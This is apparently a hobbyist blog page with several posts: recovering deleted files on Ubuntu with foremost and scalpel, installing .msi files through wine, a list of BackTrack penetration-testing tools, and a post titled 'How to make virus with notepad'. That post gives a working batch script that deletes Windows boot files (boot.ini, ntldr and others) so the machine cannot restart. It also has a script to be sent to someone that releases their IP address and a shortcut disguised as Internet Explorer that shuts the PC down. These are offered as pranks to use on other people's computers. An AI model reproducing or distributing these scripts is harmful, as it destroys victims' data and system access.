Pages

Showing posts with label Ubuntu Tricks. Show all posts
Showing posts with label Ubuntu Tricks. Show all posts

Wednesday

How to recover the Deleted file on Ubuntu


 How to recover the Permanently (shift+delete )Deleted file in Ubuntu

Restore the Deleted Files

      Sometimes we delete the files permanently, and realize its importance to restore it.

Here is the solution

Foremost

          Foremost is a free software to recover files
            1.) Install foremost

                                       sudo aptitude install foremost

Foremost examples

Search for jpeg format skipping the first 100 blocks

                                   sudo foremost -s 100 -t jpg -i image.dd


Search for gif and pdf

                                    sudo foremost -t gif,pdf -i image.dd

Search  for office documents and jpeg files in a Unix file sys-tem in verbose mode.

                              sudo foremost -v -t ole,jpeg -i image.dd



scalpel


Scalpel to recover the Deleted file.


               A Frugal, High Performance File CarverA fast file carver that reads a database of header and footer definitions and extracts matching files from a set of image files or raw device files. Scalpel is filesystem-independent and will carve files from FATx, NTFS, ext2/3, or raw partitions. It is useful for both digital forensics investigation and file recovery.

1.)  Install scalpel in Ubuntu

                                   sudo aptitude install scalpel

2.) open the scalpel.conf file in gedit using the below command

                                  gedit  /etc/scalpel/scalpel.conf   

3.) Uncomment all the Lines by deleting the   ' # '




  4.) sudo scalpel "FILE"  -o  "Directory "
Where FILE is the image file (or device) and Directory is the output directory.


Tuesday

How To Install .msi in Linux



Let start with

What is .msi file

          An MSI file is a relational database and is used by the Microsoft Installation Service.It is similar to exe . This service installs applications onto your computer. MSI files offer far more flexibility for application installation and maintenance than older scripted executable programs could ever provide.
       
          It is more flexible with  windows system .


To Install .msi File in Ubuntu

       As you know wine software  is used to install window application ,same used in this case.

    step1:

         sudo apt-get install wine
    step 2:
        msiexec /i file_name.msi

 Difference Between msi & exe file

           EXE files can be anything. Almost everything you run on your computer is started by an EXE file (exceptions are Windows itself, drivers). They contain executable code for a computer to run, and can do anything.

          MSI files are database files, used by Windows Installer. They contain information about an application which is divided into features and components, and every component may hold files, registry data, shortcuts etc. The MSI file also contains the UI that is to be used for installing, and various other data such as any prerequisites to look for, custom actions to execute, the order of the installation procedure, whether to support Administrative installations, etc. It can also contain the actual files to be installed themselves (this isn't always the case though, the files can also be in an external CAB file or just as plain uncompressed files in a location where MSI can find them).

Friday

How to make virus with notepad -to crash a PC

   Here there are some dangerous script to perform some hack tricks


How to crash a PC Forever !


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**




How to stop someone's internet access:



@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew





ShutDown PC million Times:



1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a




      save this as .bat file


   .........     Visit our FB page for recent hacking tricks      ......

Thursday

Backtrack Tricks & Tools

                  
         BackTrack is a distribution based on the Debian GNU/Linux distribution aimed at digital forensics and penetration testing use. It is named after backtracking, a search algorithm. The current version is BackTrack 5 R3


           It is a Linux based operating system that comes pre installed with a numerous amount of security programs on it.
         It doesn't matter if you are a beginner or an expert you will find several tools that are installed on it that will help you.Tools include information gathering, network mapping, vulnerability identification, web application analysis, Digital forensics, reverse engineering, and basic penetration.


                                                Like us in FB & get Hacking updates 

TOOLS : 

BackTrack TOOLS & Its Usage 


           BackTrack provides users with easy access to a comprehensive and large collection of security-related tools ranging from port scanners to password crackers. Support for Live CD and Live USB functionality allows users to boot BackTrack directly from portable media without requiring installation, though permanent installation to hard disk is also an option.
BackTrack includes many well known security tools including:
  • Metasploit          - for integration

  • RFMON            - injection capable wireless drivers

  • Aircrack-ng       - Encrypted packets  capturing ,Determining the WEP key.

  • Gerix Wifi Cracker
  • Kismet               - wireless network detector, sniffer, and intrusion detection system

  • Nmap                - Host discovery ,Port Scanning ,Security Scanner , OS Detection

  • Ophcrack
  • Ettercap

  • Wireshark         -  Capture, Filter and Inspect Packets ,Packet analyzer.

  • BeEF (Browser Exploitation Framework)
  • Hydra

  • OWASP Mantra Security Framework, a collection of hacking tools, add-ons and scripts based on Firefox
  • Cisco OCS Mass Scanner, a very reliable and fast scanner for Cisco routers with telnet and enabling of a default password.
  • A large collection of exploits as well as more commonplace software such as browsers.
BackTrack TOOLS & Its Usage


BackTrack arranges tools into 12 categories:

  • Information gathering
  • Vulnerability assessment
  • Exploitation tools
  • Privilege escalation
  • Maintaining access
  • Reverse engineering
  • RFID tools
  • Stress testing
  • Forensics
  • Reporting tools
  • Services
  • Miscellaneous


Related Posts Plugin for WordPress, Blogger...